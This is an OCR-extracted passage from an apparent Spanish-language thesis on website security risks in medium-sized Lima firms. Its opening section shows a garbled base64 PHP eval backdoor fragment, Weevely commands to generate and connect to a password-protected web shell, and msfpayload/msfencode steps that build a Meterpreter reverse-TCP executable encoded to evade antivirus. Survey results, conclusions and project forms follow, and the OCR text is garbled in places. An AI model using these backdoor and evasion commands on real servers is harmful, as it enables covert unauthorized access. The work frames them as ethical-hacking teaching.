c2VjPic7ZXZhbChiYXNINjRfZGVjb2RIKHNOcI9yZXBsYWNIKClIgliwglisiLCBgb2luK
GFycmF5X3NsaWNIKCRhLGNvdW50KCRhKS0zKSkpKSk7ZWNobyAnPCImMb3NIY
z4n030="));

Se ubica en: Applications - BackTrack - Maintaining Access - Web
BackDoors - Weevely
Uso:

. /pentest/backdoors/web/weevely# Jweevely.py generate password

/root/back.php (creara el backdoor)
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Grafico N° 31. Weevely

: /pentest/backdoors/web/weevely# ./weevely.py generate bucker /root/bucker.php

i
Stealth tiny web shell

[generate.php] Backdoor file '/root/bucker.php' created with password 'bucker’.
y phy pnp ,
: /pentest/backdoors/web/weevely# I

Fuente: /pentest/backdoors/web/weevely# ./weevely.py generate password /root/back.php (creara el
backdoor)

. /pentest/backdoors/web/weevely#./weevely.py  http://www.site.com/back.php

password (conectara con el servidor)

Grafico N° 32. Backdoors

:/pentest/backdoors/web/weevely# ./weevely.py http:// g/bucker.php bucker

Stealth tiny web shell

[+] Starting terminal, shell probe may take a while
[+] List modules with <tab> and show help with :show [module name]

i i — / h oM /dminiiy public_html$ ||

Fuente:/pentest/backdoors/web/weevely#./weevely.pyhttp://www.site.com/back.php password

(conectara con el servidor)

MsfPayload:

Metasploit se puede utilizar para crear puertas traseras que luego pueden ser
utilizados para mantener el acceso en el servidor web. Esto se puede hacer con la
ayuda de msfpayload.

Los pasos para crear puerta trasera en msfpayload son como sigue:
Tenemos que seleccionar el Payload que vamos a utilizar para obtener un shell
Meterpreter generado a través de una conexiéon TCP inverso. El comando seria:
. msfpayload windows/meterpreter/reverse_tcp. Esta Payload tiene dos
parametros: LHOST (nuestra IP) y el LPORT para seleccionar el puerto que


http://i47.tinypic.com/124c01g.png
http://i47.tinypic.com/906fba.png

111

vamos a utilizar. La "R" se utiliza para dar al archivo de salida en formato de
datos RAW para que podamos codificar posteriormente.

msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1
LPORT=1234 R. Este comando creard el Payload, pero tiene que ser
codificado con el fin de evitar la deteccion de los antivirus, para tal caso se
puede hacer usando la opcién msfencode, para hacer esto, necesitamos usar
barra vertical ("|")

windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=1337 R]
msfencode —e x86/shikata_ga_nai -t exe >> bucker.exe. -e se usa para
especificar el tipo de codificacion necesario, en este caso estoy usando
la codificacion shikata_ga_nai y -t para el tipo de extension del archivo (exe).

Por ejemplo, si deseamos ver la lista de los codificadores disponibles en MSF,

usamos el siguiente comando:

msfpayload windows/meterpreter/reverse_tcp -l

Grafico N° 33. MsfPayload

* root@cCalebBucker: —

Fuente: msfpayload windows/meterpreter/reverse_tcp -I

Otras soluciones multipropdsito de escaneo de vulnerabilidades son:

Acunetix [=: herramienta para blUsqueda de vulnerabilidades mediante
técnicas de hacking como, por ejemplo, inyeccion SQL, ataques de ejecucion
de cédigo y ataques de autentificacidn, entre otros.

Faast de Eleven Paths - servicio de persistent pentesting que implementa y
automatiza todas las técnicas de pruebas de penetracién mediante un proceso
continuo de evaluacion.


https://www.acunetix.com/
https://www.elevenpaths.com/es/tecnologia/faast/
http://i47.tinypic.com/18oyna.png
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. GFl Languard [~: herramienta que permite escanear, detectar, evaluar y
remediar cualquier vulnerabilidad de seguridad en una red informatica.

. Nessus [-: Herramienta que detecta numerosos fallos de seguridad.

. Nexpose [~: Herramienta para realizar escaneo de vulnerabilidades.

. OpenVAS - Escaner de vulnerabilidades, muy similar al Nessus, desarrollado
por la comunidad de software libre.
Existen listados de herramientas de seguridad, entre ellos SecTools ™, donde

se enlazan herramientas de escaneo de vulnerabilidades, o para pruebas

especificas y utilizadas en procesos de auditoria técnica.


http://www.gfi.com/products-and-solutions/network-security-solutions/gfi-languard
http://www.tenable.com/products/nessus
http://www.rapid7.com/products/nexpose/
http://www.openvas.org/
http://sectools.org/tag/vuln-scanners/

CONCLUSIONES

1. Se pone de relieve que los niveles de seguridad y los riesgos de seguridad no
son controlados de manera efectiva por los usuarios en varias medianas
empresas, con ello los intrusos pueden acceder a las bases de datos de
clientes, proveedores, empleados y otros miembros de estas medianas

empresas a través de las paginas web de las empresas.

2 Para un mejor andlisis de datos de la investigacidon una herramienta estadistica
SPSS es importante, es por ello que se ha utilizado.

3 La proteccién es importante para todos los sistemas de informacion de sites
criticos. Sin un nivel de proteccion razonable, la disponibilidad, fiabilidad y
seguridad de estos sistemas pueden verse comprometidos si ataques externos

provocan algun dafo al sistema.

4  Del analisis e interpretacion de los datos se puede apreciar segun la fuente de
opinién que el 53.15% de empresas indican que si existen problemas de las
Websites. Solamente el 46.9 % indican que no existen los problemas en la
Websites.

5 Los métodos de intrusién a las Websites son riesgos a la seguridad, ya que
estos no son implementados adecuadamente, al no reducir las

vulnerabilidades en la Websites.

6 La prueba de testeo, nos permitira saber el nivel de seguridad, estas pruebas
evitardn los problemas con las Websites, de la medianas empresas de Lima
Metropolitana. Siempre la lealtad y honestidad del personal de la organizacion

garantiza un mayor y mejor rendimiento.



RECOMENDACIONES

1. Los riesgos deben ser identificados, analizados, evaluados y supervisados; y
este proceso debe ser permanente y continuo. En cada revisién del progreso
de gestion, cada uno de los riesgos clave debe ser considerado y analizado

por separado.

2. El objetivo de disefio de un sistema de informacion en lo sites seguro, es
reducir al minimo las vias de ataque, por tanto es imprescindible conocer

cuales son esos riesgos.

3. Ala hora de implantar una solucién de seguridad, el primer paso es identificar
las areas de riesgo con el fin de establecer una serie de medidas de seguridad

especificas

4. Realizar controles de las actividades del personal a través de técnicas de

encuesta en linea, respecto la manipulacion de la informacion.

5. Implementar politicas que permita ejercer y aplicar la cultura de la seguridad
tomando conciencia de los riesgos reales de los riesgos de seguridad en las
Websites.

6. Ampliar las funcionalidades en la administracion de los accesos a los sistemas
de informacién en la organizacion, sugerir que el personal usuario cambie sus

claves de accesos frecuentemente.

7. \Verificar que las metas y objetivos para la seguridad informatica, estén
monitoreados con balances de resultados, para cumplir con los planes

propuestos en un determinado periodo.

8. Dar énfasis a la ética responsable, dentro de la organizacién. Esta actitud
garantizara que el comportamiento y las actividades se lograran con mucha

dedicacion.



10.
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La informacién es un activo crucial en las actividades empresariales, por tanto
los niveles de seguridad, debe ser protegidos con herramientas y software de
analisis y testeo, recomendacion que debe ser ejecutada y monitoreadas por

las empresas permanentemente.

Implementar y aplicar la propuesta de la presente investigacidén, con ayuda de
las herramientas de libre uso y de cédigos abiertos (Open Source) por ser una
metodologia practica, concreta y ECONOMICA. Ideal aplicada a las PYMES.
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ANEXO 01

ESTUDIO: LOS RIESGOS DE SEGURIDAD DE WEBSITES Y SUS EFECTOS EN
LA GESTION DE INFORMACION DE MEDIANAS EMPRESAS EN LIMA
METROPOLITANA

Formulacidon de las encuestas

Orden items
¢ Considera que los niveles de seguridad de los Websites son
! apropiados en la empresa?
0 ¢ Cree que el software de seguridad del Websites en la empresa es
optimo?
¢No existen problemas de seguridad en los Websites de la
3 empresa?
¢Uno de los métodos de intrusidon son los crackers, cree que no
4 pueden ser controlados?
¢ Se alcanzan los objetivos y metas establecidas en la empresa,
> para la seguridad informatica?
¢ Se cumplen exhaustivamente las pruebas de testeo para
® comprobar la seguridad de ataques de los crackers ?
¢Existen riesgos de seguridad de los Websites en la empresa ?
¢ El software del Websites es desarrollado por la empresa?
¢En su opinidon los Websites son de facil acceso y navegacién
? para el cliente?
¢ Existen problemas de manipulaciéon (manejo no autorizado) de
10 informacién en la empresa?
¢En su opinidn el manejo de la informacion y la seguridad podria
1 mejorarse en la empresa ?
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ANEXO N° 02

ESTUDIO: LOS RIESGOS DE SEGURIDAD DE WEBSITES Y SUS EFECTOS EN
LA GESTION DE INFORMACION DE MEDIANAS EMPRESAS INDUSTRIALES
COMERCIALIZADORAS DE MAQUINARIAS, EQUIPOS Y MATERIALES EN
LIMA METROPOLITANA

Frecuencias
Orden Variables Si | No | marginales
por fila
¢ Considera que los niveles de seguridad
1 de los Websites son apropiados en la 25 41 66
empresa?
2 ¢ Cree que el software de seguridad del 19 47 66
Websites en la empresa es 6ptimo?
3 ¢ No existen problemas de seguridad en 34 30 64

los Websites de la empresa?

¢Uno de los métodos de intrusion son
4 los crackers, cree que no pueden ser 38 27 65
controlados?

¢ Se alcanzan los objetivos y metas
5 establecidas en la empresa, para la 23 43 66
seguridad informatica?

¢ Se cumplen exhaustivamente las
6 pruebas de testeo para comprobar la 16 49 65
seguridad de ataques de los crackers ?

¢ Existen riesgos de seguridad de los

7 Websites en la empresa ? 52 13 65
¢(El  software del Websites es

8 desarrollado por la empresa? 22 41 63
¢En su opinion los Websites son de

9 facil acceso y navegacion para el 46 20 66
cliente?
¢Existen problemas de manipulacién

10 (manejo no autorizado) de informacidn 33 32 65

en la empresa?

¢En su opinién el manejo de la
11 informacioén vy la seguridad podria 66 0 66
mejorarse en la empresa?

Frecuencias marginales por columna 374 | 343 717
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ANEXO N° 03

ENCUESTA DE OPINION — PARA UN ESTUDIO DE INVESTIGACION
DE:

LOS RIESGOS DE SEGURIDAD DE WEBSITES Y SUS EFECTOSENLA
GESTION DE INFORMACION DE MEDIANAS EMPRESAS INDUSTRIALES,
COMERCIALIZADORAS DE MAQUINARIAS, EQUIPOS Y MATERIALES, EN
LIMA METROPOLITANA

Nota: Marcar un aspa (X) en el casillero que corresponda:

Orden Preguntas de Opinién General Si No

¢Considera que los niveles de seguridad

1 de los websites son apropiados en la

empresa?

¢ Cree que el software de seguridad del

websites en la empresa es 6ptimo?

3 ¢No Existen problemas de seguridad en
los websites de la empresa?

¢Uno de los métodos de intrusion son los

4 crackers, cree que pueden no ser

controlados?

¢ Se alcanzan los objetivos y metas

5 establecidas en la empresa, para la

seguridad informatica?

¢ Se cumplen exhaustivamente las

6 pruebas de testeo para comprobar la

seguridad de ataques de los crackers?

¢ Existen riesgos de seguridad de los

websites en la empresa?

8 ¢ El software del websites es desarrollado

por la empresa?

9 ¢En su opinién los websites son de facil
acceso y havegacion para el cliente?

¢ Existen problemas de manipulacion

10 | (manejo no autorizado) de informacion en

la empresa?

¢En su opinién el manejo de la

11 informacioén vy la seguridad podria

mejorarse en la empresa?

Datos del Entrevistado: I:I Profesional Especialista en Informatica

I:I Docente

Nombre

Grado Académico/
Titulo Profesional
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ANEXO N° 04

RESULTADO DEL TABULADO DE LA FORMULACION DE LAS
ENCUESTAS DE UN ESTUDIO DE INVESTIGACION DE:

LOS RIESGOS DE SEGURIDAD DE WEBSITES Y SUS EFECTOS EN LA
GESTION DE INFORMACION DE MEDIANAS EMPRESAS EN LIMA

METROPOLITANA

Orden Preguntas de Opiniéon General Si No
¢ Considera que los niveles de

1 seguridad de los Websites son 25 41

apropiados en la empresa?

¢Cree que el software de seguridad
2 del Websites en la empresa es 19 47
optimo?

¢No existen problemas de
3 seguridad en los Websites de la 34 30
empresa?

¢Uno de los métodos de intrusion
4 son los crackers, cree que no 38 27
pueden ser controlados?

¢ Se alcanzan los objetivos y metas
5 establecidas en la empresa, para la 23 43
seguridad informatica?

¢ Se cumplen exhaustivamente las
pruebas de testeo para comprobar
la seguridad de ataques de los
crackers ?

¢Existen riesgos de seguridad de
los Websites en la empresa ?

¢El  software del Websites es
desarrollado por la empresa?

¢En su opinion los Websites son
9 de facil acceso y navegacion para| 46 20
el cliente?

¢Existen problemas de
manipulacion (manejo no
autorizado) de informacion en la
empresa?

¢En su opinion el manejo de la
11 informacioén vy la seguridad podria 66 0
mejorarse en la empresa ?

16 49

52 13

22 41

10 33 32




ANEXO N° 05

VARIABLES DE ESTUDIO DE INVESTIGACION:

Orden | Variables Etiquetas de la variable
Seguridad ¢',Con§idera que los niv_eles de
1 A seguridad de los Websites son
cceso .
apropiados en la empresa?
2 Software ¢Cree que el software de seguridad del
Seqguridad Websites en la empresa es 6ptimo?
3 Problemas ¢No existen problemas de seguridad en
Seguridad los Websites de la empresa?
¢Uno de los métodos de intrusion son
4 Intrusion los crackers, cree que no pueden ser
controlados?
¢ Se alcanzan los objetivos y metas
5 Objetivos establecidas en la empresa, para la
seguridad informatica?
¢ Se cumplen exhaustivamente las
6 Testeo pruebas de testeo para comprobar la
seguridad de ataques de los crackers ?
~ Riesgos stxisFen riesgos de seguridad de los
ebsites en la empresa?
8 Desarrollo ¢ El software del Websites es
desarrollado por la empresa?
¢ Existe un adecuado nivel de
9 Navegacion financiamiento en su empresa, para la
seguridad informatica?
¢ Existen problemas de manipulacién
10 Manipulacion (manejo no autorizado) de informacidn
en la empresa?
¢En su opinién el manejo de la
11 Gestion informacioén vy la seguridad podria

mejorarse en la empresa?
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CRONOGRAMA DE PROYECTO CONTROL DE LA SEGURIDAD DE LA WEBSITES

ANEXO N° 06
CRONOGRAMA
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Responsable Enero Febrero Marzo Abril Mayo Junio Julio
PROY.
12]3]«]s 2
I._PLANEACION
Diagndstico

SISTEMA DE CONTROL DESEGURIDAD DE LA WEBSITE

v Se llevard a cabo un breve diagndstico para evaluar si el
hacking ético que se aplicard es preventivo o correctivo. Si
es correctivo se evaluard la magnitud del dafio.

Planificacion

» Se identifica qué recursos humanos, se necesitan para el
proyecto, cémo se organizarian, el cronograma del proyecto,
ofros recursos técnicos como equipos, suministros,
herramientas de software de hacking &tico.

EVALUACION

Anilisis

w5 llevard a cabo el estudio ya sea preventivo o correctivo
de Ia sequridad de las Websites. Aqui también se evaluara
andlisis de riesgo.

Disefio

S evaluard cdmo serd el camino técnico a sequir.
» Se llevara a cabo reuniones con los usuarios key o
principales

. IMPLEMENTACION

Pruebas Unitarias

»Se realizard pruebas por un mddulo en forma separada.
Pruebas de Tension

» Se realizard pruebas de todos los médulos en forma
integrada

Capacitacion

® 5e capacitard a los usuarios key sobre las medidas a
tomar para evitar nuevos ataques de los crakers o cuando ya
se realizd el ataque que hacer.

Implantacin

v Se pondrd en produccion los cambios efectuados
aplicando hacking éfico

CONTROL Y CALIDAD

s Este se llevara a cabo con reuniones perigdicas con los
usuarios key o principales

Evaluacion

o Se aplicara indicadores y méfricas para evaluar el
desempefio de los recursos del proyecto y del proyecto en si

. FASE DE TERMINO

Informe Técnico y Ejecutivo del Test de Intrusion

v Resumen ejecufivo de los resufados obtenidos,
conclusiongs y sugerencias.

Anilisis de bilid Externa y de las Aplicaciones

*Vulnerabilidades atacadas y detectadas

wTécnicas utilizadas.

»Evidencias concretas de los hallazgos.

v Recomendaciones fécnicas para  superar  las

vulnerabilidades encontradas.

Equipo de Proyecto

Usuario Lider:

Coordinador de Proyecto:

Jefe PCS:

Asistente PCS :

Asistente PCS :

Jefe dePlanta:

Analista de Produccidn :

Jefe de Sistemas :

Consultor :

PCS:Proyecto Control de la Seguridad
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ANEXO N° 07
CUESTIONARIO DE PREGUNTAS PARA LA AUDITORIA WEB

Preguntas sobre los aspectos de gestion de las aplicaciones

1. ¢(La empresa cuenta con normativas o procedimientos para el manejo de la
configuracion?

2. ¢Hay alguna area o responsables quien gestiona los cambios a las aplicaciones?

3. ¢La empresa cuenta con algun software para el manejo de versiones de las
aplicaciones?

4. ;Tiene alguna metodologia para el desarrollo de software aprobada? ¢Cual?

5. ¢Tiene definida alguna politica de seguridad para el desarrollo de aplicaciones web,
como encriptamientos de password, uso de certificados digitales, vencimiento de
cuentas, entre otros? Especificar.

6. ¢Tiene definida alguna politica de contingencia y respaldo?

Preguntas sobre los aspectos técnicos

1. ¢Cuantas aplicaciones web tiene la intranet?

2. ¢Cuantas paginas tienen aproximadamente las aplicaciones?

3. ¢Qué aplicaciones de la intranet genera la mayor carga de trabajo a los servidores?

4. ¢Qué aplicaciones de la intranet cuenta con mayor cantidad de usuarios?
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5. ¢En qué plataformas estan desarrolladas las aplicaciones de la Intranet?

e Visual Studio

e Java

e ASP

e ASP.Net
e Php

6. ¢Hay estandares de para la programacion de las paginas web?

7. ¢Cual es la arquitectura de las aplicaciones?
e 3 capas : Interfase — aplicaciones (1 capa de negocio) - base de datos
e n capas : Interfase — aplicaciones (varias capas de negocio divididas en

componentes) — base de datos.

8. ¢Cuadles son los software para el o los servidores de aplicaciones?

o IS

e WAS

e Apache
¢ Tomcat

o Oftros, especificar .........cccorrrrrrrrrnsssennsssssennnnns
9. ¢Qué base de datos utilizan las aplicaciones web?

e SQL Server

e Oracle

e MySql

o Postgres
e Access

o Oftros, especificar .......ccccccrriiiniisissemcmrennrees s

Preguntas sobre los aspectos de disefio

1. ¢Hay estandares de diseno para las paginas web?

2. ¢Todas las aplicaciones manejan sus propios estandares o en base a un mismo
estandar corporativo?
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ANEXO N° 08
ACTA DE REUNION

NOMBRE DE EMPRESA ACTA N2
NOMBRE DEL PROYECTO

ACTA DE REUNION CON USUARIO (S)

SISTEMA: SUBSISTEMA:

FECHA:

HORA INICIO : HORAFIN :

PARTICIPANTES :

PROPOSITO DE REUNION :

ASPECTOS GENERALES

DEFINICIONES

ACUERDOS:

FECHA Y TEMA DE PROXIMA REUNION:

Usuario Lider V°Be° Usuario




ANEXO N° 09
ACTA DE CONFORMIDAD

NOMBRE DE LA EMPRESA ACTA N¢
NOMBRE DEL PROYECTO O SERVICIO

ACTA DE CONFORMIDAD

Lugar :

Fecha de informe :

Hora de Inicio : Hora Fin :

Documento de Referencia :

DATOS GENERALES

SISTEMA : SUBSISTEMA :

FIRMAS DE CONFORMIDAD DE USUARIOS RESPONSABLES :

DETALLE

Observaciones o Comentarios:
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ANEXO N° 10
ACTA DE CAPACITACION
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Empresa ACTA N°
PROYECTO
ACTA DE CAPACITACION
TEMA
FECHA: | |
HORA INICIO : HORA FIN :

PARTICIPANTES

Apellidos y Nombres

Area |/ Rol Firma

Coordinacdr




ANEXO N° 11
CHECKLIST

LISTA DE CHEQUED:
CONTROL DE CALIDAD

Itern/s inspeccionada)s:

Facha:
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Puntoschequeades: 1 [ | 2[]3[]4[]5[]

Inspactor:

1. Componentes usados

¢ Los componentes ussdos son correctos?

3l

REEIREE

iZe posesn oz registros de recepcion de los componentas?

]

NO [JN/A

Codigo de loz informes de recepcion:

2. Actividades realizadas

i 3e siguisron los procedimientos?

HE

[INO [ N/A

£ %2 usaron las revisionss vigentes de los procedimientas? [T3! [InD HiA
i3e rellensron los registros y estos son correctos? []5] [INO [ HN/A
3. Incidencias

i Producta final canforme? []5! [IHO [H/A
i Existe alguna incidencia relacionada? []31 [N []n/A

Codigo incidencias relacionadas:

4. Tiempos de produccicn

¢ Existizron retrazos en la fabricacién? BENEL D H/a
¢ Hubo magquinas indisponibles? []51 [IWD [T NP
G, Entreza y logistica

¢ Producto correctamente identificada? 5l NO HiA

i Producta confarme a las especificaciones del clisnte?

[13 [INOT] HiA

Observaciones

MOTA: N/& =Naaplicable. M/P = Na presenciada



Nombre del
Proyecto:

ANEXO N° 12
ACTA DE CIERRE

Fecha de
Preparacion

Descripcion del Proyecto:

Objetivos del Proyecto |

Criterio de Exito |

Como se logro | Variacion o Brecha

Alcance:

Tiempo:

Costo:

Calidad:

Otros:

Informacion del Contrato:

APROBACIONES:

Firma del Coordinador del Proyecto

Firma del Ejecutivo del Proyecto

Nombre del Coordinador del Proyecto

Nombre del Ejecutivo del Proyecto

Fecha

Fecha
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